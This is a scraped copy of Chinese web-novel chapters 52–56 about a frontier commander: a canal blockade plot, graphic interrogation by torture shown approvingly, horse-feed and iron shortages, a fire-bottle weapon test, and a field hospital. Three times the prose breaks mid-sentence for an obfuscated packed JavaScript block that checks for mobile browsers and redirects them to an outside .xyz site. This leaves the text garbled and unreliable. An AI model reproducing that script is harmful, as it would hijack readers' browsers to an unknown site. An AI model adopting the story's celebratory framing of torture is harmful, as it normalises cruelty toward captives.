窗外夕阳最后猩红余晖漫过权力桌案,将运河舆图与封锁令卷宗染得血红,宛如凝固的泼墨血痕。
四大会首面无人色,汗透重衫,垂首缩肩如待宰羔羊,连呼吸都压抑。
死寂中,一个年轻书卷气的声音在角落颤抖响起,许是账房或小管事,带着焦急与微弱正义感。
“刘……刘大人,使不得。商路断绝,南河堡今冬必缺物资。
天寒地冻,运河将封……草原**来攻……边堡如何守?堡破……多少军民遭屠戮流离……生灵涂炭啊!”
声音如投水石子,突兀尖锐。
所有人目光聚焦那发声人,充满惊惧与复杂,有人如看**,有人眼底闪过认同与绝望。
“哼!”一声嘲讽的鼻音从主位传来,打断微弱谏言。
刘德福眼底寒光如毒蛇利齿,锁定角落人影,虚伪平和敛去,换上冰冷公事公办面孔,义正词严如宣圣谕:“生灵涂炭?本官管不着。清淤是幽州府合议命令,为万千行旅性命。”
他微微前倾,压迫感陡增,目光扫全场,语调转刻骨冷漠:“南河堡是否缺衣少食,能否过冬……自有帅司过问,守土将官承担。”
“至于守不守得住?将士是否效死?这些……”
他故意停顿,脸上浮现置身事外的残忍轻松。
“呵……与漕运何干?与本官何干?”
刘德福声音再次拔高,满是官方权威:“本官只是传上官令,诸位需体恤朝廷苦衷,莫让漕运司为难!”
软中带硬,笑里藏刀,字字诛心。
“体恤”“不为难”实则警告:谁敢挑战,日后买卖,在幽州必将寸步难行,甚至死无葬身之地。
“噗通……”赵胖子庞大身躯瘫软椅中,面如金纸,几近虚脱。无他,商队运送粮食最多。
四大会首心如明镜,这刘德福是以权谋私,这道闸口封锁令是捏住南河堡颈动脉的血手机
断水即断血,水路扼杀彻底掐死边堡借漕河补给的可能。
改走陆路?千里崎岖线成本陡增数倍,冬雪封山、道路泥泞、盗匪如蚁,其中是否有刘德福默许纵容?无人敢想敢证,亦无人敢冒险。
这重负足以碾碎根基未稳的边堡。
一座坚城断了生命线也只会在寒冷饥饿中窒息坍塌。
刘德福淡漠扫过被权势慑服如砧板鱼肉的“财神爷”,眼中暴戾杀机退去,重端茶盏,优雅撇开浮叶,神态恢复雍容平静,带着品茗怡然。
书斋内,沉香依旧。权势已在谈笑间化为巨网。
这张网,借朝廷漕运命脉织就,浸满复仇的毒汁,自幽州府衙,急速罩向茫然未觉的小南河堡。
运河断粮的铁索与草原劫掠的屠刀!
一明一暗,双刃悬顶。
正以朝廷“法度”之名与塞外野蛮之力,自冰冷河水与荒寒旷野两端,向着那座孤堡狠狠绞下。
灯影初上,商贾们狼狈离去。
书斋内烛火摇曳,映照出刘德福脸上的冷笑与狠厉,血色浩劫的绞盘已然转动,无可阻挡。
第53章 南河军寨地牢
清晨,天色渐亮。
南河军寨的寂静被一声凄厉的惨叫刺破。
“啊——”
“汪汪汪……”刘瘸子家的几条狗随之狂吠起来。
张富贵家的杀猪棚后院,这座曾经被改为养猪圈的边堡地牢里,正上演着一场严刑逼供。
“说!把做过的缺德事、跟谁勾结、坑害过多少人?
一五一十交代清楚,老子给你个痛快!”
张富贵赤裸着上身,古铜色的肌肉在微光下起伏,手里那柄锃亮的杀猪刀泛着凛冽寒光。
他揪住一个捕奴团活口的头发,将对方半边身子按在冰冷的木板上。
那俘虏的一条腿被麻绳倒吊着。
他腿肚上扎着带倒刺的木签,鲜血顺着小腿淌下,在地上积成一小滩暗红。
每挣扎一下,倒刺便更深地嵌入肉里,疼得他浑身抽搐,发出阵阵哀嚎。
此前在破庙的审问只是针对性逼供**动向,此刻这场审讯才是真正的审讯。
——要将捕奴团的老底彻底挖出来,整理成书面供词呈报飞虎大营和地方官府,依此销案。
大清早的,张富贵、王铁山这帮刚立功升职的汉子自告奋勇,非要亲手审这些祸害百姓的杂碎。
“最好老实交代,不然老子一刀一刀活剐了你!”
张富贵眼神凶狠,用宽厚的刀面“啪啪”拍打着俘虏的脸颊,每一下都打得对方脑袋发懵。
那俘虏早已被剧痛和恐惧摧垮,连连点头如捣蒜,涕泪横流地哭喊:“军爷饶命,小人说。
小人什么都说,您问什么俺绝不敢隐瞒半个字。”
“说!你们老窝在哪儿?”
张富贵厉声喝问,脚下故意碾了碾对方被倒吊的脚踝。
“在…在两百里外的冷……冷艳山!”
俘虏疼得声音发颤,断断续续地吐出了地名。
“山寨谁是头?手下有多少人?”
张富贵步步紧逼,刀刃已经贴在了对方的脖颈上。
……
牢房另一侧,秦猛一身甲胄穿戴整齐,腰间佩刀的穗子轻轻晃动,看着张富贵拷问无动于衷。
他取出昨夜拷问记录,沉声下令:“王铁山,把另一个俘虏拖到旁边牢房分开审,拿这份口供条条对照,但凡有对不上的,不用手下留情!”
“是!将军!”王铁山瓮声应道。
他立刻招呼几个如狼似虎的军汉,粗鲁地拖起另一个面无人色的俘虏,径直往隔壁牢房走。
没过多久,隔壁便传来鞭子抽**肉的“噼啪”声和更加凄厉的哀嚎,听得人头皮发麻。
秦猛用手在鼻尖前扇了扇,驱散难闻的气味,目光落在身后牢房。
——那里,铁链锁着个壮硕的身影,正是独眼龙严虎。
“哎哎,虎秃子,该你说了。”秦猛踱步到木栏前,隔着栏杆用戏谑的目光打量他。
“冷艳山的底细,你哥哥严彪手下有多少人马,马匹和装备从哪儿来的,最好主动交代。”
“哼,做梦!”严虎重重冷哼一声,艰难地扭过头,紧闭嘴巴摆出宁死不屈的模样。
经过一夜休息和军医包扎,他身上的皮外伤好了些,似乎又找回几分蛮横底气,暂时忘了前晚濒死的恐惧。
“在老子面前装硬气?”秦猛脸上浮现冰冷笑意,声音如刀。
“你一个贩卖同胞的下三烂,不够格跟老子谈条件。
你以为我不知道你盼着严彪来救你这条丧家之犬?”
严虎的独眼猛地跳了一下,眼神深处的期待暴露了心思。
秦猛低笑起来,满是嘲弄:“别做梦了,你们的底细老子早摸透了。
严彪靠着替人干脏活、从草原倒腾马匹,加上市井官暗地里送装备,才聚拢二三百号亡命徒,真以为成气候了?”
听到秦猛精准点出家底,严虎反而心头一振,觉得对方怕了,顿时来了底气。
他侧过脸,独眼死死盯着秦猛,凶狠威胁:“知道就好!我大哥手段你想象不到。
就算我折在这儿,他带着两百精锐铁骑踏平你这小破堡,屠尽堡里上下,不过眨眼间的事。”
话锋一转,他露出算计神色:“你要是识相放我回去,这事一笔勾销,冷艳山和南河堡从此井水不犯河水,如何?”
严虎能带队干捕奴勾当,自然不傻,见对方打听冷艳山,立刻想讨价还价。
“哈哈哈哈……”秦猛放声大笑,笑声在地牢回荡,充满轻蔑,“一笔勾销?井水不犯河水?”
他往前凑了半步,声音压低,带着寒意:“不用你报信,严彪过几天自会带着人马来攻堡。”
“你这话什么意思?”严虎的独眼瞬间瞪圆,心底一种不祥的预感如冰水浇头,浑身一凉。
秦猛笑容收敛,眼神冰冷:“本将凭什么告诉你?”
严虎这才后知后觉,此事有蹊跷。
再看秦猛的嘲讽笑容,哪里还不明白?
“是你,是你故意放走了活口!”严虎目眦欲裂,眼珠布满血丝,疯狂挣扎着要扑向秦猛,铁链被挣得“哗啦”作响。
“你卑鄙无耻,想用我当诱饵引我大哥来送死!”
“啪!”一声清脆的耳光响起。
严虎的骂声未落,秦猛身后的亲兵队长王善已箭步上前,蒲扇般的大手狠狠掴在他脸上。
严虎脑袋被扇得歪向一边,脸颊瞬间红肿,嘴角溢血,脑袋嗡嗡作响。
“直娘贼!你们贩卖同胞,还有脸骂将军卑鄙?”
一旁的**怒火中烧,从炭火盆里抄起烧红的烙铁,烙铁尖冒白气,他骂骂咧咧地逼近。
“今天不把你龌龊事烙出来,老子**的姓倒过来写!”
炙热气息扑面而来,严虎看着越来越近的红光,独眼里的凶悍被恐惧取代。他疯狂扭动闪躲,双腿间竟流出骚臭液体,彻底暴露色厉内荏的本质。
秦猛看着他这副怂样,眼神冷如寒冰,转身下令:“庞队将,这人交给你了。
用守备队的法子‘伺候’,让他把勾结谁、怎么贩人口、倒卖军粮的事全吐出来。
特别是南河镇的刘家,他肯定知情,按喽啰口供一条条对!只要能签字画押,死活不论!”
“是!将军您瞧好吧!”庞仁昂咧嘴一笑,露出黄牙,搓着大手走向严虎,眼里闪烁兴奋。
他身后的军汉拿出油亮的牛皮绳和带倒刺的铁签子,看得严虎浑身颤抖,死死夹紧双腿。
“啊——!”
很快,更凄厉的惨叫如鬼哭狼
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16418869|184734||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
嚎般响彻地牢,压过隔壁的审问和鞭打声,听得人心惊肉跳。
地牢另一角,几个女真俘虏蜷缩在冰冷泥地上,手脚被铁链锁在石壁铁环上。
这些剽悍武士此刻衣衫褴褛,新旧伤**错,眼神或麻木或凶狠。
但听到钻心惨叫,再看到大周军汉的酷刑,即便是最凶悍的眼神,也流露深深恐惧与绝望。
秦猛走出刑讯室,恰好对上女真俘虏的目光,他咧嘴一笑,语气冰冷:“诸位别急,很快轮到你们。
老子保证让你们见识见识汉人的‘好客之道’,保管比现在还‘过瘾’。”
笑容里的寒意让靠近门口的俘虏下意识往角落缩了缩。
秦猛不再理会他们,带着亲兵走向地牢最深处。
——那里关押着此战最大的“鱼”。
袁飞和徐强早已等候,目光锁定角落身影——女真猛安勃极烈,兀鲁思。
他是赵起将军特意吩咐暂不送大营的重要人物,怕中途被截胡,待开春后上报,又是一桩大功。
此刻,袁飞和徐强正审问草原动向。兀鲁思伤势极重,胸膛塌陷,一条腿扭曲,虽经唐博抢救保住性命,脸色依旧惨白,脸上带着未消的淤青。
可即便如此,他魁梧身躯和挺直的脊梁,仍透着不同于普通俘虏的凶悍与桀骜。
“兀鲁思!草原各部动向如何?
你们来袭接应奴隶,跟谁勾结?”
牢房外,袁飞居高临下,用生硬的女真话夹杂手势喝问。
徐强补充威胁:“老实交代少吃苦头,否则,这猪圈就是你埋骨地!”
兀鲁思缓缓抬头,脸上沾污泥,双眼锐利如鹰隼,死死盯着牢门外的人。
他嘴角动了动,最终只发出轻蔑冷哼,闭眼扭脸,不发一言,仿佛眼前一切不配他多看。
无论袁飞和徐强如何威逼利诱,甚至用马肉和清水诱惑,他都如石雕般,嘴唇紧抿不泄露半个字。
“妈的,真是茅坑里的石头,又臭又硬!”徐强低声咒骂。
“早说了这法子没用。”秦猛带着亲兵走来,目光锐利盯着兀鲁思,“这种硬骨头得等伤养好了再收拾。
他不说?就当着他的面把女真俘虏凌迟处死,看他能硬到几时!”
闭目不语的兀鲁思听到熟悉声音猛地睁眼,死死盯住秦猛,眼中恨意几乎溢出。想起前晚惨败,一个照片就被打晕,他浑身肌肉绷紧。
秦猛俯身靠近牢笼,笑容冰冷:“不用瞪我,过不了多久,你只会跪着求我,求本将不要砍你家人,扎哈尔已被我宰了,你们酋长也跑不掉!”
“扎哈尔**?”兀鲁思瞳孔骤缩,心头惊涛骇浪。部落第一勇士竟**?
再看秦猛不似玩笑的眼神,彻骨寒意从脚底升起。
“走,先不问了,我有紧急军报要呈给将军。”秦猛不再理会脸色煞白的兀鲁思,朝袁飞和徐强招手,带着亲兵快步离开污秽的地牢。
兀鲁思盯着他们的背影,紧握的拳头和颤抖的肩头暴露内心的惊涛。
锁链的冰冷和身下的泥泞提醒他身为猛安勃极烈的**。
可秦猛的话像**进心里,让他越想越恐惧,所谓的勇士尊严在死亡威胁面前摇摇欲坠……
第54章 战马多了发愁
“驾,驾……”
徐强策马扬鞭,与两名飞虎精锐,三骑六马。
他们带着装有**谋克勃极烈扎哈尔的首级,金印、腰牌、令箭和至关重要的部落密图木匣。
如离弦之箭,冲出了军堡后门,卷起一路烟尘,直扑飞虎军大营方向。
重担在身,不敢有片刻耽搁。
堡内,**来袭的慌乱彻底散去,小南河军寨(原小南河戍堡)渐渐恢复了日常的秩序。
但这“日常”中已注入了迥异于前的紧迫与活力。
燧堡的箭楼,新晋队将**扶垛而立,目光锐利地扫视着前方平缓的坡地。
他麾下三十名戍卒枕戈待旦,加上额外调配的三十匹马和充足的箭矢,缓坡上那些被加固加深的陷阱,无声地诉说着防御力量的增强。
秦大壮则带领着剩余戍卒,返回了作为根基的铺堡。防御工事被重新修缮加固,巡逻队次加密。
最显变化的,是军营校场。戍卒们自发地集结,挥汗如雨地操练着。
口号声、兵刃破风声、沉重的踏步声交织在一起。
李山和刘铁柱这两个伤号,裹着箭伤,脸色还有些苍白,却倔强地不肯回营休息,裹夹在训练的队列里。
秦猛正筛选兵卒,他将全堡擅长射箭者集中起来,单独列成一队。这一队,交给袁飞来调教。这位青年是五千飞虎卫中有名的神射手。
乌维这巨汉喜欢这军营氛围,嚷嚷着也要带兵。秦猛把几个身强力壮的亲兵,又从戍卒中挑出骨架粗大的汉子,一股脑推给了乌维。
这个巨汉勇士有自己的训练方法,正适合打磨一支突击的力量。
另一边,几位飞虎军精锐毫不藏私,主动接过了指导骑兵基础和骑射技巧的担子。
缴获的五百来匹草原战马,此刻派上了大用场。
大量马匹在校场一侧腾出的临时马场中驰骋、练习。
马嘶人喊,尘土飞扬。
分成两批,冲出堡外,在荒野集训。
缴获的草原好马中有不少良驹,也被秦猛**行赏。
秦大壮、张富贵、李山等人,都分到了一匹好马,喜不自胜。
只是,数百匹战马在堡内安顿下来后,一个新的、巨大的挑战如山一般压了过来——粮秣!
马厩挤爆了,连张富贵家空闲的猪圈都被征用,临时改造成了关马的地方。
老保长领着工匠劳力日夜不停,在官署旁和军营区域紧急加盖新的马厩,但依旧捉襟见肘。
但这还不是最紧迫的。
一匹上好的战马,栓在马厩里歇着,一天也得吃掉二十多斤草料。
若是进行骑乘训练、巡逻等轻微运动,就得补充豆子、麦粒等精饲料。
若是长时间奔驰作战,精饲料的消耗更是倍增!
简单算算,一匹马每日的消耗,抵得上两个壮年男子的口粮。
这近五百匹马,对整个军寨的后勤体系,如同张开了一个无底洞。
堡内,风干的腊肉肉眼可见地减少,存粮的仓房消耗得飞快。
连堡民劳作后的餐食分量,都不得不精打细算起来。这沉甸甸的压力,远甚于**的刀锋。
赵将军允诺的扩大河滩田和十里草场,那是明**儿。
粮秣,成为眼下最迫切的问题。
十斤草料折换两斤粮食,官署的榜文告示张贴。
堡民们兴奋了,外出扒拉枯柴,分类收集草料,或是去周边村坊收购卖秸秆,轧碎送来。
与收集草料一同张贴的还有戍卒抚恤具细。强调家属获得补助,孩子能上学,解决后顾之忧。
这份压力,直接转化为了戍卒们更严苛训练的动力。
寨兵已明确划分骑兵,弓箭手,步兵,但训练简单粗暴,站军姿,体能训练,近身格斗等该有的项目不分兵种,目标直指实战所需。
看的是实打实的本事和胆气,没有半点含糊。
一时间,校场上的汗水气息更浓,喘息更粗,竞争的目光也更加炽热。没人抱怨残酷。
这是实实在在的保命、吃饭的本事!
铁匠工坊,是堡内最重要的地方之一。原本杂乱无章的局面被李铁匠规划,划分为明确的两区,
“民生坊”负责打些农具杂器,赚堡内百姓的几个工钱。“军工坊”则成了铁甲与兵刃的熔炉。
缴获的断损武器,铁甲,送到工坊熔炼修缮。
有经验的铁匠仔细敲打着弯曲变形的弯刀,把它们一点点掰直,煅打成**,打磨锋利。
断裂的枪头在铁钳下重新熔合修复,确保装上木杆就是杀敌利器。
学徒们奋力拉动巨大的木质风箱,炉火受激,猛地向上一窜,贪婪地舔舐着简易的棚顶。
抡锤的汉子手臂肌肉鼓胀如铁,铁锤带着风声,化作一道道密集的残影,狠狠砸在烧得赤红的铁胚上。
整个工坊弥漫着硫磺燃烬、灼热汗水、生铁血腥混合在一起的独特气息,粗犷而充满力量。
七八座熔炉日夜不熄,吞吐着暗红的火舌。
工坊内温度极高,如同熔岩地狱。
李铁匠只穿一条磨得发亮的麻裤,古铜色的上身虬筋暴露,汗珠滚落便被炽热空气蒸干。
他正指挥匠人改善熔炉:“不不,风箱配两个,左右各一个,目的是使火焰更烈,火要烧透。”
这显然是听了秦猛的建议,改良熔炉。他正带着两个十五六岁的半大小子学徒,协助木工。
“猛子哥!”两学徒看到魁梧的秦猛巡视到近前,眼神又是敬畏又是好奇,撇下活儿来迎。
“浑球,叫秦将军,秦知寨。”李铁匠劈头就骂了一句。
秦猛却毫不在意地摆摆手:“李叔,叫啥都行,您这一声响亮就成。咱不兴那些虚头巴脑的规矩。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16418870|184734||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“猛哥儿,”李铁匠抹了把汗,指着旁边一座新改良的熔炉:“你说的那法子,真管用。
从山上弄来的铁砂,先用大木桶流水淘洗去泥石杂质,再入炉熔炼,嘿!出来的铁汁子就是不一样,清亮了不少,打出来的铁更纯更韧。”
秦猛松了口气:“那就好,辛苦李叔了。”
他从怀里掏出一张简单的草图。上面画着几个弧形的弯曲铁块,形如展开的月牙。
“这……是个啥?”李铁匠凑过来,好奇地问。
“马蹄铁。”秦猛解释:“您看成是给马穿上的铁靴子。
钉在马蹄子上,马跑起来更稳当,走山路石路都不怕磨破蹄子,也能防地上的铁蒺藜扎伤。还有这,双马镫,比**用的单马镫稳当得多。”
他又在另一处画了副双马镫。
“马靴子?双马镫?”李铁匠皱着眉,对着草图琢磨了好半晌,又看了看棚外拉车的战马。
他终于用力一点头,“嗯,猛哥儿你这脑子,尽琢磨些稀奇又管用的物件。能打,不过……”
他顿了顿,指着工坊一角堆积的**弯刀和铁甲:“修缮这些没问题,用不了多少铁料。
可要打出这些马靴子和马镫,这尝试,估计很耗铁料!库房里那些铁锭,还有咱们淘洗的铁砂熔出的铁锭,眼瞅着,这又快见底了。”
“这么快又没了?”秦猛眼皮猛地一跳。
这铁料,消耗惊人呐!常氏粮行送他的两次。可这几天堡内大兴土木、铸造兵器,农具,花销的铁料数量远超粮食消耗,是个大问题。
“缺啊!猛哥儿你看看,”李铁匠指着一旁热火朝天的场景,露出个无奈又焦灼的表情。
“现下这十几个铁匠,光是打造箭头,枪头修补兵器、造伐木锄地的锄头铁锹就用料甚巨。
这还没算正经锻造铁甲呢!那才叫吞铁的老虎嘴!”
他声音带着铁匠特有的洪亮和一股子铁腥气:“你画的这马靴子(马蹄铁)和双马镫是好东西,可造出来,每个都得是实打实的精铁,耗料更狠!库房里……真撑不了几天啦!”
“行,行吧!”秦猛看着工坊里映着汗水和火光的急切面孔,听着那密集如鼓点般的打铁声,感受到那扑面而来的铁的热浪,重重地点了点头。
他转身向外走去,只留下一句,“你们负责打到装备就行,这铁料的事儿,我来想办法。”
工棚外,正午灼热的阳光照下来。
秦猛深吸了一口气。风里是草料、马粪和炉火的气味。
钱、粮、铁、人……千头万绪如藤蔓缠绕。但听着军营校场上努力操练的身影,听着工坊里连绵不绝的锻造声,看着堡民开拓荒地……
他紧锁的眉头没有一刻舒展,眼神却愈发坚定。
堡寨,已在淬火砺锋。
物资与时间,成了最昂贵的敌人。
第55章 **
“将军,将军,地牢那边有紧要口供!”
秦猛正规划着堡寨未来,**兴奋地跑了过来。小伙子铁甲溅着血迹,显然刚亲手施过刑。
秦猛眼神一凝,立刻起身:“走!”
二人疾步前往阴冷地牢。
一夜撬开的嘴巴非同小可。严虎及两个心腹喽啰的口供彼此咬合,又翻出冷艳山罄竹难书的罪状。
经过整理,一笔笔血债赫然在目:
数年间,匪徒肆虐边陲,掳掠边民过千人。
时间、地点、劫掠财物牲畜、乃至被掳女子的凄惨遭遇,皆条分缕析,形成一册血泪铁证!
先一步赶到的袁飞翻阅后,怒极反笑,指节捏得发白:“此等豺狼,挫骨扬灰亦不解恨。”
“所以,对待这种人不能心慈手软,当斩草除根。”
秦猛接过那沉重册子,冰冷的触感自指尖蔓延。
他眼神寒彻如冰渊,“这件掳掠案是本官破获的。管他背后是谁,但凡露头,一概碾碎。”
他即刻喝令文案:“依此口供、账册,速拟公文。一式三份,务求条理清晰,铁证确凿!”
随即,他召集老保长王槐、诸葛风、秦大壮及军寨核心队将,连同袁飞,返回新近落成的官署。
那浸透血泪的记录传阅下去,不识字的由诸葛风低沉念诵。
顿时,满室杀气弥漫,压抑的粗喘与铁拳砸案声不绝。
“多余的话不说了。”秦猛豁然起身,目光如刀扫过众人。
“诸葛风、张富贵!”
“在!”
“着你二人,领一队精兵,即刻护送所有被解救边民及家属,前往青阳县衙擂鼓鸣冤。
其一,呈交匪徒罪证,定要官府明确剿匪态度,同时索要钱粮布匹、药材工具等必需之资。
其二,就地招募青壮劳力、各行工匠,许以军寨安身立命之机,采购粮食,铁料物资等。”
“遵令!”二人慨然领命。
“秦知寨。”突然,老保长王槐神色凝重地出言,“还有一事。前夜救回的百姓里,不少青壮说感激大人,执意投军,家眷愿扎根寨中。
那些被掳的姑娘妇人们……大多不愿归家,恳求留下。更有几人已有轻生之念,幸得堡中妇人日夜守护劝导。”
老人长叹一声,眼中尽是愤懑:“造孽啊……”
“该死!”秦猛甫一疑惑,本想追问“为啥不走”,待听到“轻生”二字,胸中杀意轰然炸开。
无他,这些无辜女子已被匪徒玷污。
堂下袁飞、张富贵,李山等诸将更是目眦欲裂,恨声咒骂不绝,恨不能立时发兵踏平匪巢。
“秦大壮!”秦猛声沉如铁。
“末将在!”秦大壮应声,踏前一步。
“你点队人马,飞驰南河城寨。面见魏知寨,详陈冷艳山匪患罪行、冬季**哨探动向。
先行铺垫——地方若无能,勾结纵容,自有我边军来铲!趁机向老上官申请调拨或购买火油、**、铁料,并在彼处招募民壮从军……”
“得令,定不负将军所托!”
不久后,诸葛风与秦大壮两路人马扬尘出寨,为这嗷嗷待哺的新生军寨,去争夺维系命脉的资源与人口。
秦猛匆匆回家,用过午饭,与陈月娘、秦小芸稍叙了几句家常,便大步流星赶往军营,督促兵卒操练。
行至半途,忽见从堡子西头风风火火跑来一个十五六岁的后生,气还没喘匀就叫道。
“大人,成了,成了。师父说您要的引信做得了!”
“好了?”秦猛认出这是火器作坊范良的学徒,眼中精光一闪,二话不说,转身直奔火器作坊而去。
作坊院墙外,那股熟悉的、刺鼻的硫磺味更浓了。
“是该挪个地方。”秦猛皱着眉想到。
“大人,按您的要求,延时引信成了!”
那后生飞奔入工坊内告知,脸上还沾着几道黑灰的范良迎出来,引着他快步走入后院耳房。
只见一只桐油浸过的木柜里,整整齐齐码放着宽窄长短一致的布条引信。
这些引信被桐油反复浸透,质地坚韧异常,燃烧起来速度均匀、极好控制。
“这特制的引信,火候都试过了?”秦猛拈起一根,指尖捻过那筷子粗细、油润紧实的布条。
“试过多次了!”范良立刻回道,“浸了三遍上好的桐油,阴干了整整五道。
烧起来稳稳当当,不疾不徐。小的反复验证,两指长短的引信,正好烧够五息,稍微剪短了些,大人要的‘延时三息’效果,包准错不了。”
“很好,别心疼布料。”秦猛颔首,神色郑重。
“此物关乎将士性命,每次交付军队使用之前,必须再三测试,记录数据h绝不容半分差错。”
“是,小人记下了!”范良用力点头,他本就是刻板固执之人,眼中迸发出全神贯注的神采。
“引信既已妥当,”秦猛亲自取出柜中的托盘,目光锐利地看向范良,“火器坊,也是时候拿出些真东西来了,免得被糙汉子小瞧了。”
“是!”
……
火器作坊,一间僻静的屋子内。
秦猛抓起台上口小肚大的瓷瓶,从一口密封的木桶中,小心舀出粘稠刺鼻的黑褐色液体灌入。
范良配合默契,熟练地用锉刀从破旧盆上刮下粉末。适量装入瓶子中,再放到秦猛手边。
秦猛仅装半瓶便止,摇晃均匀,再接过特殊布条引信。将其塞入压实瓶口,只留寸许在外。
很快,百来个装了“黑水亮粉”的瓷瓶整齐码放。
“大人,火油……不都是泼柴烧敌么?这般密装,岂非暴殄天物?”范良终是难忍好奇。
“稍后便知。”秦猛神秘一笑。
火油,就
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16418871|184734||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
是石油,这个世界也叫石漆,石脂水。都是穷苦人照明,军事运用上比较初级
。除了边疆烽火台,确保可在雨天点燃狼烟。就是借干柴纵火对付**骑兵。
这种原油及铝粉制作**之法,古书未记载,乃秦猛前世所知二战时期的**。
这玩意又称为“莫诺托夫鸡尾酒”、“**”,是游击队等非正规部队、街头**群众的常用武器。
成本低廉,制作简单,威力不俗。
眼下除了火油较为珍贵,陶瓷瓶子是窑厂烧的,特殊引信自己制作,制作**的成本低廉。
正是秦猛眼中克制骑兵的绝杀秘器。
……
朔风,卷着沙砾拍在堡城墙上。
“看好了!”秦猛骤然沉喝,引信点燃,他腰腹发力如拉满强弓,手臂猛地甩出。粗瓷瓶带着尖啸划破长空,青色弧线在昏日下格外刺眼。
秦猛亲自测试**的威力,也担心威力不强。若这心血白费,无手段河对岸的**骑兵。
在他殷切又期待的目光下。那瓶子重重砸在百步外的空地上。
“咚嚓——轰隆!”
撞击声与**声几乎同时炸响。
瓷瓶瞬间崩裂如恶鬼裂齿,碎片化作飞刃四射。
火油混着铝粉轰然爆燃,刺眼白光中腾起丈高烈焰,毒烟裹着热浪翻卷,眨眼间将方圆一丈化作火海。
靠得近的军卒被气浪掀得踉跄,脸上竟能感到碎石灼烧的刺痛。
地面在千度高温下噼啪作响,火星被狂风卷着落在枯草上,瞬间又燃起一小簇火。
场中死一般寂静,只有火焰吞噬空气的嘶吼。
王善呆愣地看着这一幕,原本紧绷的脸突然扭曲,猛地一跺脚嘶吼:“**,神兵利器!
咱堡有这东西,**千军万马来了,又如何?”
“怪不得这种武器颇受喜爱,威力是真不小啊!”秦猛嘴角勾起冷硬弧度,目光扫过众亲兵。
——方才的疑惑、惊骇已被狂喜取代,一张张脸在火光中映得通红,斗志如焰苗般窜起。
他转身看向仍在发怔的范良,声音掷地有声:“范师傅,本将繁忙,火瓶的制作就交给你了。”
“是!是!”范良猛地回神,双手攥紧,微微颤抖。
“王善!”秦猛又看向亲兵队长:“带人去火器作坊,八成**送往前线燧堡,务必教会守军用法。”
“俺这就去。”王善抱拳转身,脚步都带着风。
“等等,你急什么?”秦猛叫住他,眼神骤然凝重。
“告诉所有人,这东西碰不得磕不得,必须小心轻拿轻放。”
王善重重点头,转身领着几名亲兵往作坊奔去。
风裹着火星掠过荒原,秦猛望着那片仍在燃烧的火海,指尖无意识摩挲着腰间佩刀——只要**敢来犯,这烈焰,便是燧堡最锋利的盾。
第56章 堡寨医疗所
秦猛与范良回到堡寨,再次叮嘱了**制作的关键要点,并确认沿用“**”这个名称。
“范师傅,火器作坊这味道太浓了,长久下去影响周遭居民,也伤身,作坊最好挪个地方。”
是!”范良脸上闪过尴尬之色:“小人亦正有此意,只是有时候研究调配**,那股迫切想知威力的念头上来,非要当场试一番不可。
左邻右舍没少埋怨,眼下大人吩咐,小人回去便搬迁,堡内作坊今后只负责**装填细活。”
秦猛目送范良离开,正欲前往军营,目光却扫到西南角的医疗所。
他心念一动,那无形的责任感沉甸甸地压在肩头。
身为知寨官,关爱这些为他拼命的士卒是分内之事。
他脚步一转,带着亲兵走向那弥漫着刺鼻血腥与苦涩药味的地方。
医疗所内的光线昏暗,痛苦的呻吟低沉压抑。
十来名重伤员躺在简易通铺上,有后腰中箭,胸口有豁口,全靠医官唐博精湛的医术吊性。
唐博祖上是御医,流落边寨,医术在此地已是顶尖。
秦猛进屋时,他正全神贯注,捏着一卷带着血迹的湿布,为一名肩膀刀伤的士兵包扎伤口。
旁边的木盆里洗伤用的水浑浊不堪。
秦猛瞳孔猛地一缩,断然喝止:“且慢,唐医官,这布……脏了,不可直接包扎裹伤!”
唐博手上动作一顿,愕然抬头,面露不解:“大人何意?刚清洗过,为洁净布匹,包扎止血有何不妥?”
“止血无错,隐患在目不能视之处!”秦猛上前一步,指着伤者那皮肉肿胀、泛红的创口。
他语气凝重异常:“唐医官请看,此人伤口是否红肿热痛,更易溃烂流脓?热度也比旁人高?此乃伤后,恶毒瘴气侵入肌理所致!”
他很想说“细菌”,但这时代无人能懂,只能用“恶毒瘴气”来替代。
“那些眼不能见、却能致人化脓溃烂;
引发高热的毒邪,便附着在这布上、在你我手上、在未经灭杀的器具之上;
若直接裹入伤处,无异于雪上加霜!”
唐博盯着那确实比其他人更显糟糕的伤口,脸色变幻。
他行医多年,深知许多伤兵逃过了战场,却难逃后期“风邪入体”“金疮迸裂”的高热溃烂,终至不治。
但将这归咎于看不见的“瘴毒”,实在匪夷所思。
“此论……下官闻所未闻。”
“祛除此毒却非难事,高温灭杀即可!”
